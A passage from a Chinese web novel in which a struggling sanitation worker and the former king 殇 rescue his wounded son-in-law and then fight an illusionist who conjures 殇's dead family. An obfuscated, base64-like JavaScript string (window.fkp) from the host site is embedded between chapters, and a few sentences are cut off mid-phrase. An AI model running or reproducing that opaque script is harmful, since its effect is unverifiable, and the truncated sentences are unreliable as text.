有那么几次,他二儿子想在半夜里悄悄殒命,但每当他要一了百了的时候,他总是会想起正在为了他奋斗的家人,还有他的妻子与才有一岁大的女儿。这时候,他总是会放弃这个想法,转而去思考活着的意义。对于病入膏肓的他来说,死亡并不是最可怕的,他死亡给他所爱之人带来的痛苦才是最可怕的。他不想让家里人因为他再背负一份心理上的负担了。 有那么几个瞬间,他想遵循二儿子的意愿,放弃给他的治疗。但每当他这么想的时候,他总能想起二儿子儿时灿烂的笑脸,那笑容是他见过最好看的笑容。想到此处,他放弃了这个“歹念”,决定与命运进行较量。 在为期三个月的奋斗之中,绝望再次席卷他和他的家人,遥不可期的目标让他和他的家人逐渐丧失了斗志。但即便如此,他和他的妻子还是没有放弃希望,只要能去赚些钱回来,他们两个就会拼了命的赚钱。虽然那么做起不到实质性的作用,但那是他们能为他们的孩子做的最后一件事了。 在昨天,他大女儿的女婿唐突然从万里之外的东洋墟赶到了这里。见到唐,他惊讶到当时连话都没说出口。他女婿是大名鼎鼎的这次回来,他的女婿唐为他带来希望的曙光。唐告诉他,他能在短时间弄到做手术的钱,条件只需要让他为唐弄到一身清道夫的服装,让他以清道夫的身份出了城即可。具体是要去干什么,他的女婿并没有交代。救子心切的他没多想就答应了他的女婿,不久之后就为他女婿弄来了一身清道夫的服装。 他那西装革履、仪表堂堂的女婿在穿清道夫的衣服时竟没有一点抵触,似乎那服装上未擦去的血迹与污泥并未让他感觉到脏。换上清道夫的服装后,他给他的女婿安排进了今日出发的清道夫队伍之中。他依靠着自己的人脉让他女婿很轻松地就避开了所有检查,让他女婿顺顺利利地就随着清道夫的队伍出了城。在离开家之前,他女婿给他留下了一部只能用于通话的特制手机,说是出了事会用在这部手机上通知他。在他女婿走后,他将这部手机时刻带在身上,就担心他女婿出事。这种担忧情绪一直持续到了明天早上。 在今天早上六点多,他一直担心的事情发生了。叮铃铃,叮铃铃......那部手机响了。那时他正在睡觉,突如其来的铃声将他吵醒。他一刻也不敢怠慢,赶忙拿起手机去接电话。刚刚接通电话,电话那头突然传来了他女婿急切的叫喊声。他女婿对他说了很多。总结下来就是钱拿到了,但他女婿本人的处境很危险,似乎是遭到了什么人的追杀。在通话结束前的最后的时刻,他女婿告诉他自己所在的具体位置,然后电话突然挂断,至那之后从未再响起过。他担心自己的女婿出现什么事情,害怕自己的大女儿会失去丈夫,于是在电话挂断后的很长一段时间里反复拨通自己女婿的电话,可结果无一例外的都是“无人接听”。 他一直把自己女婿视为亲生儿子一样的存在。他女婿是个很实诚的人,待人态度很好,行为举止得体,而且还聪明懂事。最重要的是他是地平区的人,是生活方方面面都比。相比起来,他觉得是自己的女儿配不上他女婿唐。若不是唐当初来底层出差偶遇了他大女儿,他还没这么个好女婿呢。对于他来说,即使他女婿口中的那笔钱拿不到,他无论用什么办法、无论花多少钱也得让自己的女婿活着回来。他不想让这个本不富裕的家庭再雪上加霜了。钱没了,可以再赚;但人没了,就什么都没了。 说完这些,他猛地喝了一口茶水。放下杯子后,他的表情很是释然,但盖不过他眼中的忧愁。可怜天下父母心。为了自己的孩子,他已经拼尽了全力,就差把自己的命给献出去了。 “这就是事情的来龙去脉。大师们,请你们一定要帮我啊!” 他诚恳地对法戈·明和殇说道。听过他讲述的故事,殇的触动很深。毕竟他也曾为父亲,自然能理解他。殇低下头看了看自己的手,又转头看了看一旁的法戈·明。法戈·明用眼神告诉他该去怎么做,殇领悟到他的意思,正好与殇想的一致。殇握紧了拳头,暗暗地下定了决心。 “你不用担心,这件事我们会帮你的。” 法戈·明微笑着告诉他。听到法戈·明这么说,他一把抓住了法戈·明的双手,紧紧地握住,就像是抓住了救命稻草一般。 “谢谢你们!” 他诚恳地向法戈·明和殇道谢。法戈·明见了,无动于衷,他默默地接受了这份感谢,同时在心里暗暗地为面前这位父亲感到了一丝惋惜。 虽有些想要停留,但法戈·明念在自己特殊的身份,不能在这里久留,就只得轻轻挪开他的手,起身与他和殇道别。告别时,他向法戈·明鞠躬敬意,法戈·明本想回应他一个微笑,可他却怎么也露不出微笑来。最后的离别中,他是带着严肃的表情离开的。走出门的时候,法戈·明叹了口气,对着漆黑的巷子感叹道: “希望殇你......可以挽救这个家庭吧。就像你曾经那样,像个英雄一样。哎......世界如此冷酷啊。” 在法戈·明走后,他与殇交谈此事。交谈过程中,殇深刻地感受到了他心中的无奈与痛楚。谈着谈着,殇就和他聊到了他那边的情况。殇既有些怜悯又有些好奇地问他: “我想问一下,你叫什么名字?” 他苦笑了一下,调侃道: “你们这些接活的,怎么会在乎我们的名字呢?你们只是拿了钱就办事的人,我们这些穷鬼是入不了你们的眼的。” 殇笑了笑,摆摆手告诉他: “不。我可不是你口中的那类人。再怎么样,你们都是人。人与人之间有物质上的差距,没有本质上的差距。无论如何,我们体内的灵魂都是1,都是平等的的。” 听到殇这么说,他有些感动。他轻声告诉殇: “我叫杜牧之。” “杜牧之?挺好听的名字。你是干什么的?” “我啊,是个清道夫。给碧蓝世界打工的打工仔。” “哦......那你认识黑色星期三吗?” “嗯?认识啊,我就是。” “什么?!看来属实是缘分了。——你还记得我吗?” “老哥,我们才第一次见面。” “不不不,我们之前在无人区里见过一次。我还给你打了一顿呢!” “你是说......难不成!你是殇?!” “猜测没错,正是在下。” 杜牧之一脸惊讶,他抿了口茶压压惊。他突然不说话,只是静静地看着殇,是在思考着什么。他的眼神之中多了几分愤怒与胆怯,似乎还对之前的事情耿耿于怀。他慢慢握紧了拳头,皱起眉头,眼神一下子变得犀利起来,一副要战斗的样子。但突然间,他想到了什么,片刻之后,他的表情变得忧虑许多,紧握着的拳头也松开了,战意瞬间消散殆尽。他叹了口气,现实让他放下了心中的怨恨,这不是他第一次这么选择。 “你为何要帮我呢?” 杜牧之问殇。殇笑了笑,一脸平淡地告诉他: “为什么?我也不知道。帮助别人还需要个理由吗?” 杜牧之一听,心里一颤。他眼中的殇变了样子,是曾经的那个王,人民所信赖的那个王!杜牧之笑了,笑容之中尽是对那个王的怀念。杜牧之笑着对殇说: “我等了你十几年啊!我的王。当初的那个你,终于回来了!” 殇笑了笑,有些委婉地告诉他: “是啊,不过回来的有些晚了。” 杜牧之摇摇头,告诉他: “只要您肯回头,什么时候都不晚啊。” “这倒确实。” “我相信殿下您可以再次拯救这个世界的!” “对了,在任务出发前,你能向我讲述你们底层人民的生活是什么样的吗?我很好奇这一点......” 听到殇这么问,他叹了口气,一口喝光了杯中的茶水。突然吹来一阵小风,他雪白的头发在风中荡漾。他的侧脸上写满了沧桑,眼底的皱纹中尽是时间的痕迹,像树木的年轮一般。他酝酿下情绪,娓娓道来。 “最底层人民所承受的痛苦,是语言难以完全表达出来的。这份痛苦,局外人是不明白的,更是不屑于明白的。” 他握紧了右手,又慢慢松开,似乎是心中有几分怒火,又有几分无奈。 “对于世人来说,我们就是那些如炮灰一样的人,靠命吃饭。像我们这样的人,死了无非就是换来一笔钱而已,那笔钱甚至不能用来买墓地。虽有清道夫之名,可我们所做的不过是替别人收拾烂摊子。而且这其中还掺杂了剥削与图谋不轨。我们只能妥协......” 殇听了,大受震撼。他问杜牧之: “为什么会这样呢?!” 杜牧之苦笑了几声,告诉殇: “因为我们出生在了风岭区,因为我们的父母不是中高层阶级。生来的差距注定了我们的命运,我年轻的时候试着去改变,可无济于事。我的孩子也像我一样,也是无济于事。依靠自己的力量,根本无法改变现状!” “这......真的没有任何办法吗?” “也许有吧。要是我们都能像齐百陵那样强大就好了,能逆天改命。可我们终究是平凡人,平凡到连名字都不会让人在意。” “哎......你继续讲述吧。” “我们底层人民要靠每月很低的薪水去养活一家子人,这个生病了、那个出事了什么的都要钱,可那点薪水承担不起太多,更何况家里的吃穿还要钱。等成了家,能多一个帮手,稍稍减轻家里的负担。一旦有了孩子,事情就变得麻烦了许多,既要照顾孩子,还要去工作,有时为了工作不得不将孩子独自留在家中。一边工作,一边牵挂着孩子。” 说完,杜牧之转头看了眼挂在墙上的全家福。全家福上的每个成员都是满面春风,自然而又平淡的微笑中透露着难掩的喜悦,虽生活在一个不富裕的家中,但他们每个人都觉得这是份独一无二的幸福。看着全家福,他露出了欣慰的笑容,可想起自己即将命丧黄泉的二儿子,他的笑容又变做忧愁。他闭上眼睛,深情地说道: “我活了大半辈子了,什么苦什么难都经受过。为了这个家我奋斗了一生,我无怨无悔。家人的幸福,是我战斗的动力。即便我已经满头白发,但我也一直战斗下去!直到我握不动刀的那一刻。有句古话说得好:‘廉颇老矣,尚能饭否?’” 他睁开眼睛,猛地拍桌站起。殇见他如此,也起身。殇拍了拍他的肩膀,微笑着对他说: “说得好!事不宜迟,我们把你的女婿救回来吧!” 杜牧之看了看殇,笑了笑,也拍拍殇的肩膀,对他说: “好!说走就走吧。” 之后,杜牧之换上常穿的清道夫战甲,重新化身为黑色星期三。 染血的臂刃被清水洗刷干净,颇有光泽;漆黑的战甲上点缀着血色,黑暗中似死神的斗篷;战甲背后的两个储罐中装满了东西,装得是他故乡的空气。他挥动臂刃,能掀起一阵小风,奔跑起来,能带动一片落叶。人高马大的他,活像是一位黑暗中的巨人。隔着深重的头盔,他能看到整个世界,但整个世界看不见他,唯有一身重甲,才能证明他的存在。 他和殇并排走出贫民窟,在他家人的目送中离开城市。谁也想不到,曾经彼此为敌的两人,能在此时站在一起,为了共同的目标而战斗。 迎着蓝天白云,他们迈起了矫捷的步伐;迎着天空中的炎炎烈日,他们顶着高温阔步向前;迎着一阵清凉的风儿,他们伸手与风儿击掌。走出铁墙,坐上汽车,两人便向着目的地赶去。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第三十三话:银幻之梦 经过了一段时间,黑色星期三开着车抵达了目的地。这里是一座荒废的小镇,小镇之中的样子与之前殇所见的废城区无异。到了地方,下了车,两人没多说一句话,就向着黑色星期三女婿所说的具体位置赶去。在路上,两人早遇到了一群特殊的感染者。 这群感染者的手部化作锋利的利爪,满口的牙齿变得锋利无比,向外凸出的脊骨刺出了皮肤,在其背后形成了锋利的脊刺。不仅如此,这些感染者的体型变大了一倍,全身上下的肌肉也随着变得巨大起来。疫病似乎让他们发生了一些进化,他们的骨骼变得巨大许多,还长出了些其他动物才有的骨骼。他们有的像老虎一样伏地而行,有的像猩猩一样半直立行走,还有的稍稍像点人,曲着腿直立行走。 见到这些怪物,殇和黑色星期三立马进入战斗状态。待这些怪物发起进攻之时,殇和黑色星期三便迎上前去应战。殇赤手空拳,一人应对十几只感染者。手是他最强大的兵器,这是他和法戈·明的共识。以一敌多,他丝毫不费力。隼之冲刺配合碎颅重击,再加上穿心拳,不一会就有三四只感染者被殇打死。殇在血雨腥风之中穿梭,一拳一掌一腿,拳拳到肉,招招致命。殇在感染者群体之中游刃有余,像一只穿梭在大海中的鱼儿一样灵活。 黑色星期三那边就不太乐观了,他一个人应对五六只感染者,显得十分费力。几个不小心,他的身上就多出了许多伤疤。他的本能告诉他,他该撤退了,可他的意志不服从他的本能。为了自己的女婿和大女儿,他不能在此时逃跑。危急时刻,他被感染者团团包围,已无退路可言。这时,一个感染者从他背后袭来,挥舞着双爪要将他撕成碎片。然而就在这时,一根路标牌飞来,瞬间击穿了这个感染者。 这时,一个身影出现在那些感染者身后。黑色星期三定睛一看,是殇的身影。殇二话没说,抡起一根很长的钢筋,嚯嚯几下,掀起一片尘与血凝在一起的烟雾。随着当当几声从烟雾中传出,一阵狂风吹来,将烟雾吹散。殇在烟雾中现身,仔细一瞧,殇还拎着一根弯成了波形的钢筋。看到这样的殇,黑色星期三既高兴又欣慰;他明白,当初的那个王,是真正回来了。 正当他沉浸在刚刚发生的一切时,又一位感染者从他背后袭来。殇猛地一转身,一把将手中的钢筋掷出,精确无误地击穿了那位感染者的头。这一下,让黑色星期三回过神来。 “战斗时别溜号!小心行事。” 殇对黑色星期三告诫道。听殇这么说,黑色星期三点了点头,反思了一下自己的行为,又调整好状态继续去战斗。不一会,那些挡路的感染者统统被殇和黑色星期三给清理干净。战后,黑色星期三有些顾虑,害怕自己女婿遭遇不测,于是就用偷偷私藏下来的精华提取装置提取出了这些感染者体内的生命精华。见到他如此,殇不禁好奇地问: “你在做什么?” 他将收集好的生命精华收入自己背后的精华储罐,告诉殇: “我这么做是为了以防万一。我怕会有人受重伤,到时候没有医疗物品可不行。据我所知,这些东西直接使用能够暂时缓解伤情。” 听到他这么说,殇想起了在离开西玲国时伊告诉他的那些故事。马婷婷的弟弟狄天明是靠这个续命的,据说足足是续了一个多月。据他所知,这种物质是练就核心细胞液的重要原材料,其珍贵程度不亚于真金白银。这么一想,殇突然脊背发凉、寒毛直竖,他似乎知道了一些血淋淋的真相。如果说生命精华需要在活体上提取,那么这些感染者就是最佳的提取源头。已知这些感染者曾经是人,那么殇就可以推导出一个可怕的事实。 殇心里: “卧槽!黑啊!这真他妈的黑啊!若不是他提醒我这点,我至今还为发现这一真相。血淋淋的......残酷真相。” 殇明白这一道理后,无奈地叹了口气。然后,他和黑色星期三继续前进,向着一座废弃的剧院。与他一同前进的时候,那么一瞬间,殇突然幻视了。他看到黑色星期三变成了李成的样子,随后又瞬间变回原来的样子。 想到李成,殇总想去调侃几句,可殇总会选择沉默,因为自己愧对于他。他想起当初,若不是做出了错误的选择,李成所暗恋了多年的那位富家小姐也不会死在火场之中。要知道,那位富家小姐跟李成这个穷小子从小玩到大,是关系亲密无间的好朋友。失去了这样一位朋友,换谁都会悲愤交加。虽然事后李成并未责怪他,但他因此事愧疚了很久。如果他那时可以再强一些,也许事情就会有更好的结局。 想着想着,殇的视线又回到了现实之中。一码事是一码事,过去的他早已放下,因为他知道已经发生的无法改变。现在只有守护好当下,才能无愧于自己的内心。就是这么一想,殇那份失去的德义就悄悄地回来了一部分。似乎是受触动所致。 一段时间后...... 在空无一人的剧院大厅之中,本是一片黑暗与寂静。但突然,从黑暗之中传来的呜咽声打破了这寂静。刷的一下,剧院内所有灯全部点亮,瞬间让整座剧院亮堂了许多。 在灯光的照耀下一对灰色的羽翼缓缓展开,与羽翼连接着的是一面镜子。镜边环绕着一圈精致的银甲,银甲上纹有古代字符,在灯光的照耀下熠熠生辉。这面镜子与众不同,它的镜面时而洁白无瑕、时而漆黑如夜,若在发白时凝视可见天堂与曙光,若在黑暗时凝视可见深渊与星空。镜下喷涌出的墨色似柳枝般垂下,混乱无序之中又有些井然有序。在这面镜子的底端挂着一块令牌,牌上用银字赫然写着:“空虚之明镜”五个大字。 在镜子的一旁,有着一个小桌。桌上放着一个方形金属盒,盒口敞开,里面躺着一块五彩斑斓的晶石。小桌旁,一个男人正握着怀表看时间。他身上的灰色西服上银光覆盖,胸前打着红色蝴蝶领带稍显优雅,肩上披着的高领天蓝色披风涌现点点星光,手上戴着的白色手套极显高贵,一双亮得反光的嵌晶皮鞋配上一顶灰色的高礼帽,活是一位高雅的绅士。舞台上插着一把染血的双刃长枪。长枪上的装饰如这个男人一样,既高贵又优雅。 两者都在舞台上静静地等待着什么。在舞台边缘,是低声呜咽的唐。唐全身负伤,此时连站起身的力气都没有。他怀里紧紧地抱着两沓子钱,这些钱上沾染了唐的鲜血,变得不再干净与纯粹。似乎这钱比他的命还重要,面对舞台上的危险人物,唐依旧是抱紧这些钱,因为这是救命钱。他静静地等待他老丈人带人来救他,他相信他老丈人一定回来的。 唐小声说: “老丈人......你快点来吧,我快支撑不住了......” 舞台上的那人似乎是听到了他的话,就冷笑了一声,告诉他: “你还有一个小时哦。如果你的家人再不来,你就会成为空虚的食粮。甚至你想,我现在就可以让空虚吃了你。” 唐咳嗽了一声,咳出了几滴血。唐向他祈求道: “我的家人来了,不要伤害他们。他们是无辜的......” 几声冷笑从他背后传来,那个男人在蔑视他。那个男人告诉他: “我只不过想让你的家人为我带来一个人而已,并非想去针对你和你的家人。我在交易之中打伤你,只是为了找个合适的理由让那个人到这里而已。如果我想,你此时不就成了亡魂了吗?” 唐苦笑了一声,回应他: “说得没错。要是你想的话,我早就死了。可现在我的死亡也只是时间问题,若那人不来,你也会杀人灭迹吧。” 那个男人嗤笑一声,告诉他: “没错。但我念在你家人的不幸,让你晚些再死。毕竟有了鱼饵才能钓上大鱼。渔者之道,猎人法则之三。” 这时,轰隆一声,剧场大厅的大门被一脚踹开。听到这声音,那个男人露出了满意的笑容。毫无疑问,这两人就是那个男人所期待的来客。那个男人转身看去,一个强壮和清道夫和一个身着西服的年轻小伙向他走了过来。他抬起双手,笑着对这两人说: “欢迎你们,我亲爱的朋友。” 在看到伤痕累累的唐之后,这两人急忙跑了过去,完全没有理会他的这句话。殇和黑色星期三的行为十分无礼,但他并未因此生气。他背起手来,笑着去看殇他们。 见到自己的老丈人带人赶来,唐心里别提有多激动了。他忍住痛苦,艰辛地露出笑容,用笑容告诉杜牧之他状态很好。虽然脸上挂着笑容,但唐的肉身正在经历着难以想象的折磨。此时所有人都不知道的是,见到唐还活着的杜牧之早已是泪流满面,不过有头盔阻挡看不出来罢了。 唐看着站在自己面前的杜牧之,深情地说道: “爸,钱我拿到了。” 杜牧之没说一句话,先将储罐里的生命精华导出,然后用其治疗唐。唐身上的伤口痊愈了些许,这让杜牧之稍稍放心下来。杜牧之轻拍唐的肩膀,哽咽了一声,告诉他: “好样的,小伙子。爸为你感到骄傲!” 听到杜牧之这么说,唐笑了。这时,杜牧之二话不说,一把抱起了唐。从厚重的盔甲后传出了杜牧之微微的抽泣声,他因为唐所做的一切而感动。因此,杜牧之故作严肃地告诉唐: “忍一会,爸这就带你回家。回了家,爸给你好好整一顿!” 唐点点头。说完,杜牧之低下头来问殇: “我和他先行离开,一会回来接你。行吗?” 殇很坦然地点了点头,告诉他: “行!正好我还得教训教训这个惹事的家伙。” 说完,殇一个健步来到舞台上,然后慢慢地走向了幕后真凶。殇的表情变得严肃了许多,眼神也变得犀利了许多,似乎是对幕后真凶的行为感到愤怒。见到殇上了舞台,那个男人露出了满意的微笑。他拔出了插在舞台上的长枪,像位战士一样舞转手中的长枪,最后摆出了准备战斗的架势。 在殇上了舞台后,杜牧之带着唐奔离了这里,只留下舞台上的二人。殇见此,没有责怪杜牧之,而是默默地祈祷杜牧之和唐路上能够平安。这时,那面镜子慢慢飘过来,浮在了那个男人的背后。面对一对二的局势,殇丝毫没有慌张。不知何时,剧场内响起了小提琴声。琴声回荡在空荡的剧场之中,音韵略显悲凉,似乎在演奏一首夜曲。殇听到这琴声,还闭上眼欣赏片刻。片刻之后,殇睁开眼睛,询问那个男人: “你为何而等待在这里?” 那个男人笑了笑,一脸平淡地告诉他: “为了你身旁的那个的姑娘,还有你。” 殇嗤笑一声,后严肃起来,冷冷地告诉他: “看样子,你是想被我揍一顿啊。” 那个男人笑了笑,表情是一如既往的微笑。他告诉殇: “您可真会聊天啊。那既然你决心已决,那我便不再废话。” 他手中的长枪上出现了银白色的魂气,紧接着他身后的那面镜子上也出现了银白色的魂气。不经意间,舞台周围的空间开始扭曲错位,照在舞台上的灯光逐渐变得暗淡。白色的薄雾从舞台上升起,周围的一切都开始变得梦幻起来。他的笑容变得灿烂许多,他的身影逐渐遁入薄雾之中。 “鄙人,三星都市之光,名曰:银幻之梦。在此代表幻术师家族除掉你这个罪人。” 他在薄雾中对殇这样说道。之后,他就消失在了薄雾之中。随着他的离开,舞台开始崩塌,舞台周围的景象逐渐被滴入进去的星河所替代。薄雾仍在弥漫,但颜色逐渐变得五彩斑斓起来,很像是宇宙之中的星云。殇四处张望,寻找他的身影。环绕四周,只有星云一样的薄雾与漫天星河。这时,他的声音再次出现。 “做个好梦......我的朋友。” 这声音不知是从那个方向传来的,殇的听声辨位的能力在此时失效了。突然,漫天星河像巧克力一样融化,然后变成了正午森林的模样。不经意间,这座舞台就突然变成了林中的一处平地。殇站在平地上,稍有迷茫地环顾四周,隐隐地发觉这个地方很眼熟。这时,一个身穿彩袍的白发女子从林中缓缓现身。她挺着个大肚子,像是怀孕了七八个月的孕妇。从她身上的金银首饰与凤金纹彩袍来看,她一定是那个名门的千金小姐。见到她,部分记忆回到了他的脑中。他本能地后撤了半步,紧接着开始头痛。他捂着自己的头,眼前不断出现残缺的话语。 “谢谢你的款待,大哥哥。” “话说,你这么个千金大小姐是怎么跑出来的?而且还怀了孕,这怎么说都不合理好吧。” “我的爸爸抛弃了我,我丈夫也抛弃了我......” “诶,你别哭啊。我知道你很委屈,但你也得把话说清楚了才对啊。” “因为......因为......我违反了家规,动了不该动的东西。” “哦。那你还有去处吗?” “没有......” “这样啊,如果你不嫌弃这里的话,那你要不就在我这里住下吧。” “不行的,会给你添麻烦的。更何况我还有着身孕,麻烦事会很多的。” “没事,都一样。正好我自己一人孤身十余年,有个伴还挺好的。大不了等孩子出生了,我养你们娘俩。” “谢谢你......” 头痛消失,那个女人也随之消失。殇迷茫地环视四周,发现周围的景象再次发生了变化。落日的余晖向他照来,一个白发女人带着两个孩子站在他的前方。看着她们在余晖中的身影,殇的眼角泛起了泪花。殇咬着牙闭上双眼,是心痛的感觉。殇回想起了自己曾经的那个家,毁灭于殖民者的手中,他的妻子和孩子葬身在火海之中,而他只能在远处默默地看着。那种无助,让殇记忆犹新,那是刻骨铭心的痛楚。 殇心里: “东方......我的妻子,别离开我。” 殇迈步向着那个女人走去,他慢慢抬起了手,想要去抓住已经逝去的家人。那个女人领着两个孩子,也慢慢地走向了他。就在他要与家人团聚的时候,他突然停下了脚步。他的脑中传出了他师傅无名战神对他的教诲: “武德,智,认清事实道理,明白逝去的终究已经逝去。复仇只会制造新的循环,沉浸于过去只会停滞不前。” 殇闭上眼睛,深吸一口气,握紧了拳头。当那个女人走到殇近前的时候,殇抬起手,睁开双眼,一个重拳打了过去。那个女人见了,害怕地闭上了眼睛。本以为殇会中途收拳,但没想到,殇真就无情地打出了这一拳。 刺棱一声,周围的景象像镜子般破碎,随即一切都变回了最先的样子。殇此时发现,自己的拳头结结实实地打在了一面镜子上,镜中的自己变得残破不堪。殇这才意识到,刚刚的一切,无非是幻境一场。由此,殇明白了银幻之梦的特殊攻击,他变得更加警觉。 银幻之梦: “哦?你竟然没有被心毒所吞噬?看来美梦没办法吞噬你的内心啊!” 这时,一道白色的剑光从殇背后袭来。殇一个侧向后空翻躲开,然后转头一看,发现银幻之梦站在舞台中央,正用长矛指着他发笑。殇见此,本想用Emw来解决战斗,但想了想,他决定用拳头来解决战斗,因为只有这样才能体现出他自己的力量来。回想法戈·明让他接受这个委托的意愿,他这样做是最正确的。 那面镜子飞到银幻之梦身旁,像是受委屈了一样用触须蹭了蹭银幻之梦的肩膀。银幻之梦用手安抚了一下空虚之镜,然后收起笑容,表情变得严肃起来。紧接着周围的景象再次发生变化,天空与地面都在扭曲错位中变换。此情此景,殇一脸严肃地背起了手,像位老师傅一样。 天地瞬间变化为都市之景,位临高楼之巅的眺望群楼阁之地。明媚的阳光照来,朵朵白云前来围观,清风伴随一缕浮尘,为这里带来诗情画意。银幻之梦吹了个口哨,他周围的地面出现了四片黑水,四个分身从黑水之中浮起,后在分身离开其之上后让其消失。每个分身都拿着与本体相同的武器,看样子是有备而来。 银幻之梦: “多位一体!” 面对五个人加一面镜子,殇丝毫没有慌张,只是平淡地说了一句: “君子欲敏于行而讷于言。” 话应刚落,那五人一镜迅速展开了猛烈的攻势。那五人排成五边形阵列,从不同的方向对殇进行攻击。殇背起手,灵活地躲避他们的攻击。抓住机会,殇正面迎接其中一人的攻击。那人对殇回旋砍加三连刺,殇灵活地闪避躲开,在三连刺最后一刺刺出的那一刻,殇绕到他身旁一个扫堂腿击倒了他。趁其倒地,殇抓起他的领子连续三拳面部重击,又一把将他拉起,最后一个崩心拳直接打穿了他的胸膛,结束他的生命。 这时另一人从背后袭来,殇轻移脚步,躲开那人的突刺。后抓住那人长枪的柄,转身用力一拽,再一个正蹬踢开他,同时夺下他手中的长枪。殇将长枪用力掰断,然后随手扔掉。这把长枪的质地很软,殇推测这应该不是本体。嗖嗖几声,几道白色剑光划过他的身旁,又一道幻影突刺而来,殇见其跳起一个回旋踢击直接将那道幻影拦下,并一脚踢晕了他。殇落地后一个扫堂腿击倒这个幻影,然后膝盖顶住他的腹部,接着对着其面部一顿连打。连打十七拳之后,殇一个重拳打在他的脖子上,直接让他当场断了气。 嗖嗖几道剑光飞来,殇连续疾走加侧闪躲开。这时几团黑色的爆裂星云突然从殇背后袭来。殇前空翻加空中转体躲开,落地后才发现那面镜子也加入到了战斗。此刻,殇是腹背受敌,前有镜子当移动炮塔,后有三人当长枪兵,情况有些不容乐观。即便如此,殇的表情依旧没有发生变化。他背起手来,一脸平淡地说道: “君子耻其言而过其行。” 说完这句话,几道剑光和爆裂星云成两面包夹之势袭来,想要通过前后夹击来让殇殒命。殇见此无动于衷,他正在等待一个机会。待时机成熟,殇有了动作。他先躲开一部分攻击,扰乱了敌人的判断,接着使出了令敌人瞠目结舌的招数。 殇突然转身,一个健步迎面跑向了那些袭向自己的剑光。在剑光靠近时侧身躲避,后跳起伸直了腿,一脚踩在了剑光一侧。只是瞬间,殇的脚就与剑光分离。殇左右横移,连续跺脚,踩着剑光与爆裂星云一路来到了半空之中。这既躲开了敌人的全部攻击,又让自己上升到了最佳的攻击位置。见到这一切,银幻之梦惊呆了。 殇: “惊涛骇浪!” 殇一个健步前冲,在空中多方向转体三周,看得银幻之梦是眼花缭乱。在落地前的那一刻,殇侧过身体使其与地面平行,然后伸出手迅速拄地,此时三人正处于殇的攻击范围内。接着,殇一个回旋踢扫了过去。三人躲避不及被这一下打退好几米。但这并不是结束,这还只是这一招的前调。扫过一圈,殇用手撑地,像是做体操般让自己回旋着上升了两尺。回旋时殇调整身位,在回旋结束后一个下劈腿重重地向着他们劈了过去。 轰的一声,地面上出现了一个大坑,强大的气浪掀起了一阵狂风。强大的冲击波让银幻之梦被击退了三四米,同时让银幻之梦陷入了短暂的晕厥。晕厥过后,银幻之梦看到了令他为之害怕的一幕。他的一个分身被当头劈中,瞬间就变成了四分五裂的黑水。所幸是分身,若是他正面接下这一脚,可不得碎成烂肉! 没等银幻之梦喘息片刻,殇一个冲刺跑到他分身面前,跳起连续三连踢踢倒了他的分身。他见此,挥动手中的长枪,挥出三道剑光。剑光被殇灵活地躲开。殇不急不慢地拉起他的分身,然后搂住他分身的脖子,对着他分身的腹部就是一顿捶打,打得他口吐鲜血。殇打得每一拳,都让那面镜子上面多出了一条裂缝。最后一拳打出,这个分身也离开了人世,伴随着的是这面镜子又多出了几道裂痕。 见此,银幻之梦有些慌张。至今他都未见过有人能够在他的分身阵法之中能这么游刃有余,更何况每个分身的战斗力都与他本体相等!他见过那么多的对手,打败过那么多的人,未曾真正的恐惧过;就唯独殇这个对手,能真正让他感到恐惧。靠着祖传的幻术一步一步走到今天的他,至今未曾败过,一度成为都市之中的传奇,与血浸玫瑰同级。这是莫大的荣誉!这场战斗,无论如何他都要去赢下。 银幻之梦调整下状态,将核心的功率调到最大,让自己的全身都燃起了苍白色的魂气。见此,殇没有继续进攻,而是背起手来告诉他: “你的幻术实属优秀,可是你却留下一些致命的破绽。” 听殇这么说,银幻之梦问他: “什么破绽?” 殇笑着回答道: “据我所知,幻术师家族的幻术有着一个致命缺陷。那就是所制造的分身或幻影在求生意识方面偏向于傀儡师家族的傀儡,求生意识不高啊。因此在我使出如此致命的杀招时,只有本体是最先反应的,其次才是那些分身。你觉得我说的对吗?银幻之梦。” 听到殇这么详细地讲述他幻术的破绽,银幻之梦笑了笑,笑自己的幻术还不够成熟,笑自己的招数竟能被殇摸得如此透彻。笑过,那面镜子再次回到他的身旁,准备下一轮的进攻。银幻之梦告诉殇: “很好,这样的对手才有继续战斗的意义!” 殇摆出功夫大师的架势,用动作告诉银幻之梦他的战意。但在开战前,他还是忍不住问了一句: “你与我战斗的意义何在?” 银幻之梦笑笑,告诉他: “你可曾听过红色收尾人这一名字?” 听他这么一说,殇瞬间明白了一切。殇苦笑一声,说: “原来你也是受人指使来找我茬的?” “不不不,我可不是雇佣兵。你的大名已经登上悬赏榜,若干掉你,我将一跃晋升为四星都市之光,有望早日成为收尾人。另一方面,若打败了你,我将获得一笔数目不少的钱。这笔钱能让我在地平区落户,也能让我活得风风光光。” “哼,梦想挺好!但是吧,你得有那个实力。” “实力我有,但不知道是不是余额不足。——你可曾听过星幻秘术?” “你是指幻术师家族的最强技能吗?有所耳闻。” “幻术的最高境界,是不费一枪一弹击败对手。而这星幻秘术,就是这样的招式。星幻色彩能让人沉沦与疯狂!准备成为空虚的食粮吧。面对心毒与梦魇,你不可能会逃脱的!” “让我看看,小弟弟。” 一阵白色的雾气从地面上升起,慢慢笼罩了银幻之梦和那面镜子。周围的景象再次扭曲错位,五彩斑斓的光芒照在大地上,天地就在这其中变换。一抹墨色从殇脚下蔓延,只是在片刻之内就将天地染遍墨色。地面上泛起红光,在天地相接的地方红光变得异常耀眼。殇站在其中四处观望,很警惕地审视这抹异样的墨色。 “我亲爱的朋友,你好呀。” 熟悉的声音从殇背后传来。殇转头看去,发现伊站在自己的后方,正微笑着看他。殇见了有些疑惑,驻足在原地观察这个伊。伊的身影在此时开始变换,慢慢变成了殇已故女儿的样子。 “爸爸,我害怕......” 见到已故的亲人,殇的身躯颤动了一下。 “爸爸,你在哪里?” 听到这些话语,殇再也无法驻足等待,他立马向着她跑去。他想要紧紧地抱住自己的女儿,他不想再离开自己的女儿了。过去的回忆历历在目,那都是殇无法忘记的美好与疤痕。他边跑边对自己的女儿说道: “东方舞熙,别怕,爸爸在这里!” 